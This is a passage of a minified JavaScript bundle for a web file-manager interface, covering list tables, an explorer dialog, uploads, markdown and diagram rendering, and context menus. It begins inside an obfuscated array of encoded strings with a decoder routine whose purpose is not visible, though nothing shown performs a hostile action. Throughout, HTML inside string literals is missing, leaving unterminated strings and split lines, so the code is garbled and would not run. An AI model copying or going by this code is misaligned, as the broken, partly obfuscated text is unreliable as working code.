3Du8KpwpvDvB3CtsOZHjvCq8K7f8KmS8K7Ig==","w6ZPw49BwqXDssKieg==","woNYAUxOfsO/w6XCqFI1w7IqbcKzwoHDtw==","wpRIw47CvsK/w509w4Jd","OzoUBcK+NMOOw4guw7/Ci3hkUVbDoMO0Vw==","fh1ZHmk+woU4OMOxwpw=","wqlhPUvCgcOYwqMICsKzwovChnvDrRNecsOMw6nDpw==","wpIbfw3CjMKEw5/CpBLCgMKY","wprDqyZfw5rChkAywqrCri/DsVTDmMOMGDzDrcOJwqvCm8KPDw==","NMKew4ZSwp/CtFQGw43CuUnCoQ==","McOpw67Dj8KLdVHCtx0OMlFrH8KvAMOpXnPDkMOUw41iw5RcworDksKJwrxUwrkf","w6xxW8O0wokCwoJ4wq0=","J8Kfw4hCwpLDt0Itw4DCrk3DvCfCmjs=","fgFXHmk+woU4OMOxwpw=","wpwNLMK6wqZjCTzDhARQw5rDmFc6fmtc","KTYYHsK1SMOJw501w7jCmQ==","J8Kfw4hCwpLDt0Itw4DCrk3DvDPCiy5aF34=","wpsALcK2wp08FjvDhBI=","GMKew5XDhMKPwrsFwqHCucKVw6LCsC/DkcOywrzDuW7Cv0LDiALCuMO9Xw==","wrE9JcOzHggqe3N6wrg=","VsOTw44CwpfChALDr8K/w7powohDB8O1woLDt8OFM8OlDDx7Lyk=","wodEGEBONQ==","AQA1wqzCng==","woTChi/CshFEXBvClw==","IxYuHcKp","UgVfH3gowoEhNsOJwpbDmg==","VcOlwoQAdw==","LMKIwpzDn8KM","KsKVw7/DjcKJ","wo8rTsOROcOPN8OUG8OnwptBwpc2wqDCnMOr","ScONwqIAaA==","w4BtB8K3","wqN/A1bCiA==","NMOnwopneg==","wrYgZcOZVw==","woPCtXslOg==","D8OWLcOWfMOIw43DjH9xwqHChFnCglUyZcOzw6fCmcKewpkzwpNCAsOUKUtHXg7DrcORwqjCoMOCw5c=","FMKKw43DpMKD","w7DCt2bDnsOvwqMwecKLMsK7Pw==","DsKfw5bDnMKFwqQ=","w7phTsOjwoIq","wokhWMOXc8OU","wofDizvCqz99wq8=","wpvDgjzCtjV+","w4fDhcOMwo9CREk=","KcKfwrTDvMKBfB4WaMK6OykP","w5TCml/DpsO9","DTYMNRQ=","eMK4w6R6","wq/DoTVDRw==","U8OFwo4qdg==","NMK/wrrDisK1","woPDmBxxw6Y=","b8Kkw69Yw7M=","DgcXFcKH","woglCsO4NQ==","NcKMw78ePA==","wqUXZRbCuw==","wpzCk1AEOMOnwqrDng==","IjccwpLCkMKKwpPDiw3Cs2fDsQ==","w7psVsOOwps=","A2U6w5NB","QDDDsMKiZA==","JsOEdAde","EsKiw4tSwqs=","DMKLw6tSwrI=","A8K6AQ==","O8Ogw69pw4M=","wojDujtGw5vDm0c=","JhzCkVcL","wrXDqCk=","wqQMFsKHwrI=","bMKFe8KywqM=","wrQrZSrCvA==","wpPDiShacQ==","wqfCmTjCuhJuTg==","w7BpTsOvwoMgwpg=","J8OUw7bDgsKP","cRrDrsKLZg==","KlHChyTDvQ==","IMK6TcOJw6s=","wo9WJFBQ","H2shw45P","wpMARifCrg==","w4PDpsOgwrJU","wr1yGxNY","w7rCvmHDqsOG","wqJAw4fCu2E=","wqnDjsKzwpPDqg==","DwDCtm0e","LQDCqkcP","woAvKcObEA==","wooiIMO4Lw==","bMOOw58NwpA=","NMK5AcKNEA==","D8KUQsODw5Q=","PsOlSCpg","ZBpmAG0Fwo4aNcOtwpzDjgk=","PsObWTRc","dsOAw7Inwow=","J8KrV8Ohw6w=","wp/DojrCpjo=","wqHCmhzCvxxpUyDClMOYwr0aVQ==","MFzCqyvDmw==","w7pLw5Rawq/DncK1","MAjCi3o/w5FSUH8m","woh4K29v","CGkkw5Vd","BsO5w7Vgw7g=","w7DDmcOOwqdh","w4jCllDDocOF","McOlw7dIw5vDjTs=","EsKWw5HDgcKPwqcT","PcKZw4gP","wp3DqjjCoyg=","wqLCih0HRg==","SRlNHsOH","wrt8I1bCisKa","LBnCiXYTw5BP","wqduwqTCmwkY","M8KIwq7DvMKncA==","TgzDrsKNcx3Dsg==","wpIZNcK6wqciCQ==","KXkew7NeUQ==","Ww9yw77DrcOMwo4=","B8K4b8ONw7ZY","wojDtjhCw5HDhA==","YhlCBWMCwpM=","YsK5ZcKdwrTDlGg=","wpBlw5TCqMKw","bBFPMcOcw7DDlD5Kw7gww4xdwrQNcAV0w7zDrsOSXCgwwqYgwpkoKcOFNcKyPMK4VcOxcMO8w4LCog5lKsKQw7DDmMKawozCrcKgAA==","woJ+PyNbw6szwp3CjMKCVHrCgCg2w5BOw7xUw7Vdw780wpHDu8K5wpAww6cDDsOYw6LCgMOWwpxqwqBvwp9PD0AcwpLCimXCu8KtKsODwq4DDcOtw7JpD2/CusOBGxrDg8K1SHzCoQbDk2/CkUU5wrZwwoF+JcOCX8KsIGtDTntwCVNxw67Dghp8C8Ky","w612VsOjwq0qwo8nwqvDkcOQGMO6w5teVcOoAsOINcKDw61jwqbCuMO7ZMKXYsKGw50VwpnCq38H","QAnDrsKMXRfDpcOxWMK7CcKGwp0NMMK3wr41w7bCowNbwqzDpcOWwqnDon44wqDCq2dGw5pfwro=","KsKewr/DicKmeVEUYsKaFyMCA05Kfw/CrGUOwoTCvjjDjV3DhTFjw5jDgUI=","wpTCiEcHGcOiwrzDhlrDn8KMwqfCskHCqsOxIyvDjsOGUgvDmMKnRcKVwovCk2TCsAsBw44Hwo5Hw7EJwp8gVsKUwoLCslTDli8qwqsnwo7DnsKuTsKfwo9ddMK9XMKoKMOISHXCqcKh","DsKOw4TDmsKFwpsFwr7DucKKw6nDuDnDgcK8wqjDtVHCrnbDjBvCpA==","eMOSw7o+wrU=","NlcDw7BZ","IsO3wqtXbw==","wpvDjMKSwoHDkA==","PMOmaClm","KcOPw6xOw7E=","w7cow6vDsxc=","woTDuCvCoRw=","aB9XAA==","CcKnw7zDjMKM","w5gEw6LDgBHChGTDm0k=","Ag42KMKK","O8KzHMKRHm1dOsKAwrx4wqE=","wpHDiMKhwp7Dkw==","w7rChm7Dv8Os","MMK4XsOYw6o=","w6rDscOXwohb","KcK/w7V8wrY=","wpBTwqrCtCU=","w6DCvXzDpcOd","woXCi2IlJQ==","wq8MMMKmwq0/DhbDgBBawofDjw==","H8KUwrzDq8Kq","wpbCnFAAKMORwqrDgXrDj8KBw6TCvQ==","Lw8vA8Kc","OsO7wpdcTA==","OMOJRyZ2","YsKeaMKcwpE=","wrU/w7rDu8K3","wrUPK8OuPg==","wp3CkzocUA==","M8KBwrHDocK2","DMOUcCJE","wpbDu8KswqDDtg==","MXg7w6Bh","w78Tw5fDhic=","QhPDvsKB","wq0lMMOoFDMp","Cxc2Myw=","Gys0wq3CvA==","w7xhEsOk","wpdKw7DCgcKy","woxLNi9n","wqpHH0bCug==","F8KIEcK6AQ==","wrFIw53CgWo=","dMO+w5kAwp4=","wpUce8O0XA==","w41cQMOMwq4=","wrB5Fm9i","P8OydSJg","AcKTw40JMw==","wp9yGGvCoQ==","wpJCN1fCrg==","wrgMHcOQKQ==","CsOZD8OybA==","B8KkwrrDpsKk","XcKEw61ww6c=","w4Mcw4nDqDM=","wo4cMcKjwqc+Dg==","wp/CngTCmjM=","wrEAw6E=","wr17w4bCucKb","IFk0w5Zp","w7cKw6LDiRjCkmDDnl0kwqxdw48wOiZ2","woZYw4zCpcK0w5U2w49MRw==","wpU2SMOG","wphkHlbCng==","w7p5Y17Dm8KLw6EAVQ==","wp5dw6/CtcKb","FWDCrzrDlH84OT1Nwq81"];o=s,function(e){for(;--e;)o["push"](o["shift"]())}(270);var w,i={},i=(i[(w=function w(e,t){var i=s[e=+e],n=(w["ryiYip"]===undefined&&((n=function(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}return e}())["atob"]||(n["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,o=0,s="";i=n["charAt"](o++);~i&&(t=a%4?64*t+i:i,a++%4)&&(s+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return s}),w["swwpIG"]=function h(e,t){for(var i,n=[],a=0,o="",s="",r=0,l=(e=atob(e))["length"];r',r+=' '),t+=''+n.title+r+"
",i[n.field+"_@_"+e]=n}var l=''+t+"
";this.columns=i,this.target.find(".content .list-table").html(l)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum},t=this.config.order,n=(t&&(e.sortField=isNaN(parseInt(t[0]))?t[0]:this.config.items[t[0]].field,e.sortType=t[1]),this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue),this),a=Tips.loadingMask();Object.assign(e,this.config.data),this.config.request(e,function(e){a.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",r=(t!=undefined&&Object.keys(t).length||(i+=''+LNG["explorer.noData"]+"
"),function r(e,t,i){var n,a={},o=(_.get(e,"attr.formatter")&&(a=e.attr.formatter(i)),$.objClone(e)),s=(o.attr=o.attr||{},o.attr=$.extend({},o.attr,a),_.unset(o.attr,"formatter"),[]);for(n in o.attr["class"]="list-"+t+(o.attr["class"]?" "+o.attr["class"]:""),o.attr)s.push(n+'="'+o.attr[n]+'"');return s.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var a,o="",s=t[e];for(a in n){var l=a.split("_@_")[0],c=s[l],d=n[a];_.isFunction(n[a].formatter)&&(c=n[a].formatter(c,e,t)),o+="'+c+"
"}i+=""+o+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=o(27),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),a=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=a+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+a+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var e=this.dialog.$main,t=function t(){e.width()<600?e.addClass("app-wap-small"):e.removeClass("app-wap-small")};t=_.debounce(_.bind(t,this),50),this.bind("viewResize",t),t()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(28),o=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var a={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},n=($.extend(!0,a,n||{}),new o["default"]({"parent":this,"paramData":a}));this.uploadViewEvent(n,i),n.uploadContent(e,t)},"uploadFile":function(e,t,i){var n={"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},t=($.extend(!0,n,t||{}),new o["default"]({"parent":this,"paramData":n}));this.uploadViewEvent(t,i),t.uploadContent(e)},"uploadViewEvent":function(l,t){var e=this,i=[],n=!1,c=l.paramData.tipsLoading||LNG["explorer.uploading"],a=l.paramData.tipsError||LNG["explorer.upload.error"],o=l.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=l).paramData.single,h=Tips.notify({"id":l.paramData.tipsID||"","title":c,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){l.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=l.uploader.getStatus(),e=o+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(l,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=l.uploader.transfer||{},a=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",a=n.speed+a,o=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" "+((r=l.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),a=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(a=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t\n\t\t\t\t\t'+a+' \n\t\t\t\t\t'+i+s+" \n\t\t\t\t
");h.title(c+o).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":a,"icon":"error","delay":2e3}):h.title(a).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(o).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=a+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!l.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,l){var i,c=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((l=l||{}).postParam=l.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",l.allowAllFiles?(e.type||1"+i+"","hash":e,"time":timeFloat()})},o=function o(e,t){var i=t;try{i=e.render(t||""),_.each(s,function(e){i=e(i)})}catch(n){}return i},s=[],d=function d(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),a=_.keys(t),o=0;o
"}catch(h){}if(_.includes(["flowchart","flow"],e)){var s=UUID(),r=$("
").appendTo("body"),l={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{flowchart.parse(o).drawSVG(s,l);var c=r.html();return r.remove(),''+c+"
"}catch(h){r.remove(),console.info(h)}}if(_.includes(["abc","music"],e)){s=UUID(),r=$("
").appendTo("body"),l={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{ABCJS.renderAbc(s,o);c=r.html();return r.remove(),''+c+"
"}catch(h){r.remove(),console.info(h)}}if(_.includes(["plantuml"],e)||_.startsWith(o,"@startuml"))return'';l=u(e),r=u(o);if(l||r||!("seq"==e||"sequence"==e)||(l=!0,e="sequenceDiagram",o=o.replace(/\\n/g,"\\n")),"sequenceDiagram"==e&&(o=p(o)),l||r){var d=o,s=(l&&!r&&(d=e+"\n"+o),UUID());try{return''+(c=mermaid.mermaidAPI.render(s,d))+"
"}catch(h){$("#d"+s).remove(),console.info(h)}}return(0,f["default"])(t.content,e)}};var t=i(207),f=(i=t)&&i.__esModule?i:{"default":i}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e,t){var i="",i=(t&&hljs.getLanguage(t)?hljs.highlight(e,{"language":t}):hljs.highlightAuto(e)).value,t="",a="\n";return e.split("\n").length<5?""+i+"
":''+(i=t+(i=(i=i.replace(/\n/g,a)).substr(0,i.length-a.length))+n)+"
"}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){e.inline.ruler.after("emphasis","toc",function(e,t){return!t&&(!((t=(t=/^@?(\[toc\])|(\[\[toc\]\])/im.exec(e.src))?t.filter(function(e){return e}):[]).length<1)&&(e.push("toc_open","toc",1).markup=t[0],e.pos=e.pos+t[0].length,!0))}),e.renderer.rules.toc_open=function(e,t){return''}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){var t=".markdown-preview-image-show",i=$(t);i.exists()||(i=$('').appendTo("body"),$.addStyle("\n\t\t.markdown-preview-image-show,.markdown-preview img,.markdown-preview .markdown-flow{cursor:pointer;}\n\t\t.markdown-preview-image-show .label{color: #444;}\n\t\t.markdown-preview-image-show{\n\t\t\tposition:fixed;left:0;top:0;right:0;bottom:0;z-index:99999;\n\t\t\tbackground:rgba(255,255,255,0.95);\n\t\t}\n\t\t.markdown-preview-image-show img,.markdown-preview-image-show svg{padding: 20px 5%;margin-top: 5%;}\n\t\t.markdown-preview-image-show img{box-shadow:0 0 50px rgba(85, 85, 85, 0.2);}\n\t\t.markdown-preview-image-show .continer{\n\t\t\tposition: absolute;margin: auto;\n\t\t\ttop: 0;left: 0;bottom: 0;right: 0;\n\t\t\twidth:100%;height:100%;text-align:center;overflow: auto;\n\t\t}"),i.bind("click",function(){i.fadeOut(100,function(){i.find(".continer").html(""),i.addClass("hidden")})})),e.delegate(".markdown-flow svg,img","click",function(){$(this).clone().appendTo(i.find(".continer")),i.removeClass("hidden").hide().fadeIn(100)})}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){i(211),i(212),i(213),i(214),window.ExplorerMain=i(14)["default"];var e=i(4)["default"],t=new e;window["kodApi"]={"explorerMain":i(14)["default"],"explorer":i(10).ExplorerDialog,"pathSelect":i(20)["default"],"request":e,"requestMakeApi":_.bind(t.makeApi,t),"requestSend":_.bind(t.requestSend,t),"formMaker":i(1)["default"],"vList":i(19)["default"],"vListIcon":i(101)["default"],"vListTree":i(103)["default"],"copyright":i(49)["default"],"componment":{"markdown":i(13)["default"],"request":i(4)["default"],"tree":i(21)["default"],"chatText":i(96)["default"],"upload":i(28)["default"],"uploadBlob":i(12)["default"],"pathModel":i(26)["default"],"table":i(9)["default"],"menubar":i(17)["default"],"input":i(56)["default"],"UserTools":i(16)["default"],"pageError":i(57)["default"],"pageContent":i(54)["default"]}}}},function(e,t,i){"use strict";var u,p,r;u=function u(e){e=e.ico||e.icon||"";return!e||_.includes(e,"<")?e:_.includes(e,"/")?' ':' '},p=function p(l,c,e,d,h){var t=[],i={};if(d){for(var n in e)t.push({"key":n,"value":e[n]});for(var a=t.length-1;0<=a;a--)i[t[a]["key"]]=t[a]["value"]}else i=e;$.each(i,function(e,t){n="string"==typeof t?'':(t.className=t.className||"",n=e+" "+t.className,i=t.name,a=' item-key="'+e+'"',t.accesskey&&(i+='"),o=t.htmlAdd||"",'");var i,n,a=$(n).clone(),o=d||h,s=c.$menu,r=s.find(o).first(),o=(0==(r=0==(r=c.$menuParent?(s=c.$menuParent.children(".context-menu-list").first()).find(o).first():r).length&&c.commands[o]?c.commands[o].$node:r).length&&(r=s.children().last()),d?r.after(a):h&&r.before(a),a.parent(".context-menu-list").data("contextMenu")),s=(a.data({"contextMenu":o,"contextMenuKey":e,"contextMenuRoot":l}),{"$input":null,"$label":null,"accesskey":t.accesskey,"className":t.className,"icon":t.icon,"name":t.name,"_name":i,"$node":a});o&&(o.items||(o.items={}),o.items[e]=s),"string"!=typeof t&&(c.commands||(c.commands={}),c.commands[e]=s,l.commands[e]=s,l.callbacks[e]=function(){return t.callback.apply(this,arguments)},t.accesskey&&(l.accesskeys[t.accesskey]||(l.accesskeys[t.accesskey]=[]),l.accesskeys[t.accesskey].push(s)),t.items&&(n='',$(n).appendTo(a),s.$menu=a.find("ul."+e),s.callback=null,s.appendTo=s.$node,s.type="sub",a.data("contextMenu",s).addClass("context-menu-submenu"),a.find("ul."+e).data({"contextMenuRoot":l,"contextMenu":s}),a.find("li."+r).data({"contextMenuRoot":l,"contextMenuKey":r,"contextMenu":s}),s.items||(s.items={}),s.items[r]={"$input":null,"$label":null,"icon":"","name":"","_name":"","$node":a.find("li."+r)},p(l,s,t.items,"."+r)))})},r=function r(e){if(_.isObject(e)&&e.$menu)return e;var t,i,n=$.contextMenu.menus;for(i in n)if(n[i]&&(n[i].selector==e||n[i].selector=="."+e||n[i].selector=="#"+e)){t=n[i];break}return t},$.contextMenu.menuItem=function(e,t){var i=r(e);if(t===undefined)return i.items;if(!i||!i.items)return!1;"string"==typeof t&&(t=[t]);for(var n=!1,a=0;a